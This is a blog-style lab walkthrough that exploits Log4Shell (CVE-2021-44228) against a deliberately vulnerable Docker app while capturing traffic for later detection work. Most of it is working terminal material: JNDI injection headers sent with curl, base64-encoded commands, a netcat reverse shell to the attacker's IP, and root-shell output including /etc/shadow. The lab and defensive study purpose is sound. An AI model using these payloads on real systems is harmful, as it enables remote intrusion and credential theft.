Now that I have an understanding of the vulnerability, time to look at its exploitation.
First up, unzip the vulnerable app.
┌──(root💀securitynik)-[~/log4j] └─# unzip log4shell-vulnerable-app-main.zip Archive: log4shell-vulnerable-app-main.zip 561f11d5d934725d48028ac04db4fd0b6c18eea0 creating: log4shell-vulnerable-app-main/ extracting: log4shell-vulnerable-app-main/.gitignore inflating: log4shell-vulnerable-app-main/Dockerfile inflating: log4shell-vulnerable-app-main/LICENSE inflating: log4shell-vulnerable-app-main/README.md inflating: log4shell-vulnerable-app-main/build.gradle creating: log4shell-vulnerable-app-main/gradle/ creating: log4shell-vulnerable-app-main/gradle/wrapper/ inflating: log4shell-vulnerable-app-main/gradle/wrapper/gradle-wrapper.jar inflating: log4shell-vulnerable-app-main/gradle/wrapper/gradle-wrapper.properties inflating: log4shell-vulnerable-app-main/gradlew inflating: log4shell-vulnerable-app-main/gradlew.bat inflating: log4shell-vulnerable-app-main/screenshot.png extracting: log4shell-vulnerable-app-main/settings.gradle creating: log4shell-vulnerable-app-main/src/ creating: log4shell-vulnerable-app-main/src/main/ creating: log4shell-vulnerable-app-main/src/main/java/ creating: log4shell-vulnerable-app-main/src/main/java/fr/ creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/ creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/ creating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/ inflating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java inflating: log4shell-vulnerable-app-main/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java creating: log4shell-vulnerable-app-main/src/main/resources/ extracting: log4shell-vulnerable-app-main/src/main/resources/application.properties
Install docker on Kali.
┌──(root💀securitynik)-[~/log4j] └─# apt install docker.io
Switch into the directory containing the vulnerable app, listing the files and building the docker image.
┌──(root💀securitynik)-[~/log4j] └─# cd log4shell-vulnerable-app-main/ ┌──(root💀securitynik)-[~/log4j/log4shell-vulnerable-app-main] └─# ls build.gradle Dockerfile gradle gradlew gradlew.bat LICENSE README.md screenshot.png settings.gradle src ┌──(root💀securitynik)-[~/log4j/log4shell-vulnerable-app-main] └─# docker build . -t vulnerable-app Sending build context to Docker daemon 298kB Step 1/9 : FROM gradle:7.3.1-jdk17 AS builder 7.3.1-jdk17: Pulling from library/gradle 7b1a6ab2e44d: Pull complete 8329695590e8: Pull complete 9bd6da4468db: Pull complete 8e07f21656cb: Pull complete ca055f63c612: Pull complete 8327f35ed409: Pull complete 9fb8c764d49c: Pull complete Digest: sha256:4c6efa1d6a79c15a6a03f8396f0779f294a647ee75d325ae159fef9c778e35ad Status: Downloaded newer image for gradle:7.3.1-jdk17 ---> 292487763bf2 Step 2/9 : COPY --chown=gradle:gradle . /home/gradle/src ---> b0d3b2dd81fb Step 3/9 : WORKDIR /home/gradle/src ---> Running in 419653a8727a Removing intermediate container 419653a8727a ---> 1787e4dde7be Step 4/9 : RUN gradle bootJar --no-daemon ---> Running in f11af088f5bb Welcome to Gradle 7.3.1! Here are the highlights of this release: - Easily declare new test suites in Java projects - Support for Java 17 - Support for Scala 3 For more details see https://docs.gradle.org/7.3.1/release-notes.html To honour the JVM settings for this build a single-use Daemon process will be forked. See https://docs.gradle.org/7.3.1/userguide/gradle_daemon.html#sec:disabling_the_daemon. Daemon will be stopped at the end of the build > Task :compileJava > Task :processResources > Task :classes > Task :bootJarMainClassName > Task :bootJar BUILD SUCCESSFUL in 30s 4 actionable tasks: 4 executed Removing intermediate container f11af088f5bb ---> 904932054757 Step 5/9 : FROM openjdk:8u181-jdk-alpine 8u181-jdk-alpine: Pulling from library/openjdk cd784148e348: Pull complete 35920a071f91: Pull complete f8a5c2c61767: Pull complete Digest: sha256:d146ac4892198bfef92e2d246e5b2b17894056ce9534ae0a2837c8d2920c2053 Status: Downloaded newer image for openjdk:8u181-jdk-alpine ---> 04060a9dfc39 Step 6/9 : EXPOSE 8080 ---> Running in 98958acd0ceb Removing intermediate container 98958acd0ceb ---> b132dc3d58cd Step 7/9 : RUN mkdir /app ---> Running in aa5e1837a83b Removing intermediate container aa5e1837a83b ---> ca1b50dd6063 Step 8/9 : COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar ---> df7b6fd4bf99 Step 9/9 : CMD ["java", "-jar", "/app/spring-boot-application.jar"] ---> Running in dfe469c6d77b Removing intermediate container dfe469c6d77b ---> 31215f4e8186 Successfully built 31215f4e8186 Successfully tagged vulnerable-app:latest
Verifying the image was created
┌──(root💀securitynik)-[~/log4j] └─# docker images REPOSITORY TAG IMAGE ID CREATED SIZE vulnerable-app latest 31215f4e8186 46 minutes ago 121MB
With the app built, time to run it.
┌──(root💀securitynik)-[~/log4j/log4shell-vulnerable-app-main] └─# docker run -p 8080:8080 --name log4shell-vuln-app vulnerable-app . ____ _ __ _ _ /\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \ ( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \ \\/ ___)| |_)| | | | | || (_| | ) ) ) ) ' |____| .__|_| |_|_| |_\__, | / / / / =========|_|==============|___/=/_/_/_/ :: Spring Boot :: (v2.6.1) 2021-12-20 17:12:48.314 INFO 1 --- [ main] f.c.l.v.VulnerableAppApplication : Starting VulnerableAppApplication using Java 1.8.0_181 on 493de7648f6c with PID 1 (/app/spring-boot-application.jar started by root in /) 2021-12-20 17:12:48.327 INFO 1 --- [ main] f.c.l.v.VulnerableAppApplication : No active profile set, falling back to default profiles: default 2021-12-20 17:12:49.262 INFO 1 --- [ main] o.s.b.w.e.t.TomcatWebServer : Tomcat initialized with port(s): 8080 (http) 2021-12-20 17:12:49.280 INFO 1 --- [ main] o.a.c.c.StandardService : Starting service [Tomcat] 2021-12-20 17:12:49.280 INFO 1 --- [ main] o.a.c.c.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.55] 2021-12-20 17:12:49.341 INFO 1 --- [ main] o.a.c.c.C.[.[.[/] : Initializing Spring embedded WebApplicationContext 2021-12-20 17:12:49.342 INFO 1 --- [ main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 950 ms 2021-12-20 17:12:49.706 INFO 1 --- [ main] o.s.b.w.e.t.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path '' 2021-12-20 17:12:49.712 INFO 1 --- [ main] f.c.l.v.VulnerableAppApplication : Started VulnerableAppApplication in 1.803 seconds (JVM running for 2.612)
With the app running, I downloaded and extracted the Remote Code Execution (RCE) Proof of Concept Code (Poc).
┌──(root💀securitynik)-[~/log4j] └─# unzip Log4shell_JNDIExploit-main.zip Archive: Log4shell_JNDIExploit-main.zip 9f56d8c12e23aee9247408e1b475aa2852726a5e creating: Log4shell_JNDIExploit-main/ extracting: Log4shell_JNDIExploit-main/JNDIExploit.v1.2.zip inflating: Log4shell_JNDIExploit-main/README.md
One more extracting
┌──(root💀securitynik)-[~/log4j]
└─# cd Log4shell_JNDIExploit-main/ ┌──(root💀securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# ls
JNDIExploit.v1.2.zip README.md ┌──(root💀securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# unzip JNDIExploit.v1.2.zip
Archive: JNDIExploit.v1.2.zip
inflating: JNDIExploit-1.2-SNAPSHOT.jar
creating: lib/
inflating: lib/commons-beanutils-1.8.2.jar
inflating: lib/commons-beanutils-1.9.2.jar
Looking at the help.
┌──(root💀securitynik)-[~/log4j/Log4shell_JNDIExploit-main] └─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --help Usage: java -jar JNDIExploit-1.2-SNAPSHOT.jar [options] Options: * -i, --ip Local ip address -l, --ldapPort Ldap bind port (default: 1389) -p, --httpPort Http bind port (default: 8080) -u, --usage Show usage (default: false) -h, --help Show this help
As always, I want to capture the traffic to see what is going on also from the detection and response perspective. As a result, I have the following tcpdump filter.
┌──(root💀securitynik)-[~/log4j] └─# tcpdump --interface docker0 'tcp port(389 or 443)' -w log4j-docker0.pcapng --print tcpdump: listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Start the exploit
┌──(root💀securitynik)-[~/log4j/Log4shell_JNDIExploit-main] └─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --ip 192.168.56.102 --httpPort 443 --ldapPort 389 [+] LDAP Server Start Listening on 389… [+] HTTP Server Start Listening on 443…
Leveraging the ss command to confirm ports 389 and 443 are listening for the exploit, as well as port 8080 for the vulnerable app.
┌──(root💀securitynik)-[~/log4j] └─# ss --numeric --listening --tcp --process State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 4096 0.0.0.0:8080 0.0.0.0:* users:(("docker-proxy",pid=124989,fd=4)) LISTEN 0 128 *:389 *:* users:(("java",pid=125303,fd=10)) LISTEN 0 4096 [::]:8080 [::]:* users:(("docker-proxy",pid=124994,fd=4)) LISTEN 0 50 *:443 *:* users:(("java",pid=125303,fd=11))
Looking at it from the docker perspective
┌──(root💀securitynik)-[~/log4j] └─# docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 00fc730a324d vulnerable-app "java -jar /app/spri…" 14 minutes ago Up 14 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp log4shell-vulnerable-app
With the server running, time to trigger the exploit using curl.
┌──(root💀securitynik)-[~/log4j] └─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' --header 'User-Agent: SecurityNik Testing' * Trying 127.0.0.1:8080… * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > Accept: / > X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=} > User-Agent: SecurityNik Testing > Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 18:07:32 GMT
< Connection #0 to host 127.0.0.1 left intact
Hello, world!
Looking at the web (TCP 443) and LDAP (TCP/389) server.
┌──(root💀securitynik)-[~/log4j/Log4shell_JNDIExploit-main]
└─# java -jar JNDIExploit-1.2-SNAPSHOT.jar --ip 192.168.56.102 --httpPort 443 --ldapPort 389
[+] LDAP Server Start Listening on 389…
[+] HTTP Server Start Listening on 443… [+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= [+] Paylaod: command [+] Command: touch /tmp/pwned [+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload [+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://192.168.56.102:443/ExploitQ8v7ygBW4i.class [+] New HTTP Request From /172.17.0.2:51832 /ExploitQ8v7ygBW4i.class [+] Receive ClassRequest: ExploitQ8v7ygBW4i.class [+] Response Code: 200
We can see above, the command "touch /tmp/pwned". We can also confirm the base64 encoded content in the LDAP query.
┌──(root💀securitynik)-[~/log4j] └─# echo dG91Y2ggL3RtcC9wd25lZAo= | base64 --decode touch /tmp/pwned
Looking at the log information from the vulnerable app.
2021-12-20 18:07:32,205 http-nio-8080-exec-2 WARN Error looking up JNDI resource [ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitQ8v7ygBW4i cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="
… 2021-12-20 18:07:32.012 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
verifying the file pwned was created in the /tmp directory
┌──(root💀securitynik)-[~/log4j] └─# docker exec log4shell-vulnerable-app ls -l /tmp total 12 drwxr-xr-x 2 root root 4096 Dec 20 18:01 hsperfdata_root -rw-r--r-- 1 root root 0 Dec 20 18:07 pwned drwx------ 2 root root 4096 Dec 20 18:01 tomcat-docbase.8080.6478445071329797321 drwx------ 3 root root 4096 Dec 20 18:01 tomcat.8080.4249672987009843312
Checking to see if nc is on the system, so as to live off the land (LOL). LOL is all about using binaries that are native to the system, to perform malicious tasks. No need to download additional tools.
First up, base64 encode the string which nc to look for nc.
┌──(root💀securitynik)-[~/log4j] └─# echo "which nc > /tmp/pwned" | base64 d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
Modify my command line, with the new base64 encoded content.
┌──(root💀securitynik)-[~/log4j] └─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}' --header 'User-Agent: SecurityNik Testing' * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > Accept: */* > X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==} > User-Agent: SecurityNik Testing > Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Mon, 20 Dec 2021 18:39:14 GMT
< Connection #0 to host 127.0.0.1 left intact
Hello, world!
Looking at the java application log
2021-12-20 18:39:14.662 INFO 1 --- [nio-8080-exec-4] HelloWorld : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}
Looking at the exploit
[+] Received LDAP Query: Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
[+] Paylaod: command
[+] Command: which nc > /tmp/pwned [+] Sending LDAP ResourceRef result for Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg== with basic remote reference payload [+] Send LDAP reference result for Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg== redirecting to http://192.168.56.102:443/ExploitSMMZvT8GXL.class [+] New HTTP Request From /172.17.0.2:51834 /ExploitSMMZvT8GXL.class [+] Receive ClassRequest: ExploitSMMZvT8GXL.class [+] Response Code: 200
Looking at the entry written to the file.
┌──(root💀securitynik)-[~/log4j] └─# docker exec log4shell-vulnerable-app cat /tmp/pwned /usr/bin/nc
Now that we know nc is installed. on the system, can we get this vulnerable app to send us out a shell? Let's try.
Setup our ncat listener and confirming via ss that it is listening.
┌──(root💀securitynik)-[~/log4j] └─# ncat --verbose --verbose --listen 0.0.0.0 80 -4 --keep-open Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on 0.0.0.0:80 ┌──(root💀securitynik)-[~] └─# ss --numeric --listening --tcp --process State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 10 0.0.0.0:80 0.0.0.0:* users:(("ncat",pid=151194,fd=3)) ...
Setup a tcpdump to capture the traffic on port 80. Primary reason for a new filter is because the previous filter only focused on ports 389 and 443. We can then use mergecap to merge the two pcaps later.
┌──(root💀securitynik)-[~/log4j] └─# tcpdump -nn --interface docker0 "port(80 or 389 or 443 or 8080)" -w log4-shell.pcapng --print tcpdump: listening on docker0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Base64 encode our payload
┌──(root💀securitynik)-[~/log4j] └─# echo "nc 192.168.56.102 80 -e /bin/sh -vvv" | base64 bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==
With our command encoded, we execute curl again.
┌──(root💀securitynik)-[~/log4j] └─# curl --verbose 127.0.0.1:8080 --header 'X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}' --header 'User-Agent: SecurityNik Testing' * Trying 127.0.0.1:8080... * Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0) > GET / HTTP/1.1 > Host: 127.0.0.1:8080 > Accept: */* > X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==} > User-Agent: SecurityNik Testing > * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Content-Type: text/plain;charset=UTF-8 < Content-Length: 13 < Date: Mon, 20 Dec 2021 19:00:58 GMT < * Connection #0 to host 127.0.0.1 left intact Hello, world!
Looks like nothing exciting happened above. Looking at the log from the vulnerable app.
2021-12-20 19:00:58.961 INFO 1 --- [nio-8080-exec-5] HelloWorld : Received a request for API version ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}
Looking at our exploit server output.
[+] Received LDAP Query: Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg== [+] Paylaod: command [+] Command: nc 192.168.56.102 80 -e /bin/sh -vvv [+] Sending LDAP ResourceRef result for Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg== with basic remote reference payload [+] Send LDAP reference result for Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg== redirecting to http://192.168.56.102:443/Exploit6HHc3BcVzI.class [+] New HTTP Request From /172.17.0.2:51836 /Exploit6HHc3BcVzI.class [+] Receive ClassRequest: Exploit6HHc3BcVzI.class [+] Response Code: 200
So far it does not look like anything exciting happened. Looking at my ncat session.
┌──(root💀securitynik)-[~/log4j] └─# ncat --verbose --verbose --listen 0.0.0.0 80 -4 --keep-open Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on 0.0.0.0:80 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:37957.
Above says a connection came in from the report host. With the screen being blank, it looks like it was just the connection and that's it. Let's run a few commands to confirm we have a shell.
ls app bin dev etc ... whoami root uname --all Linux 00fc730a324d 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 Linux id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) cat /etc/shadow root:::0::::: bin:!::0::::: daemon:!::0::::: adm:!::0::::: ....
We do have a shell. That shell is also has root level privileges. The fact that we have root level privileges on this host, means we can as do anything we want with the system.
Ok. I believe I have a better understanding of the issue now from both the vulnerability and exploit perspective. Additionally, I have a better understanding of how threat actors are using this PoC to perform remote code execution to gain access to the vulnerable system. Next up, time to analyze the packets we captured.
Posts in this series:
Learning by practicing: Beginning Log4-Shell - Understanding The Issue/Vulnerability (securitynik.com)
Learning by practicing: Continuing Log4Shell - Understanding/Testing The Exploit (securitynik.com)
Learning by practicing: Continuing Log4-Shell - Packet Analysis - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Snort3 Rule - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Zeek - Detection (securitynik.com)
References:https://www.cynet.com/log4shellhttps://github.com/christophetd/log4shell-vulnerable-apphttps://web.archive.org/web/20211215214929/https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rcehttps://www.exploit-db.com/https://github.com/black9/Log4shell_JNDIExploithttps://www.wireshark.org/docs/man-pages/tshark.htmlhttps://www.man7.org/linux/man-pages/man1/curl.1.htmlhttps://stackoverflow.com/questions/31676155/docker-error-response-from-daemon-conflict-already-in-use-by-containerhttps://docs.oracle.com/javase/tutorial/deployment/jar/view.htmlhttps://www.lunasec.io/docs/blog/log4j-zero-day/
mergecap(1) (wireshark.org)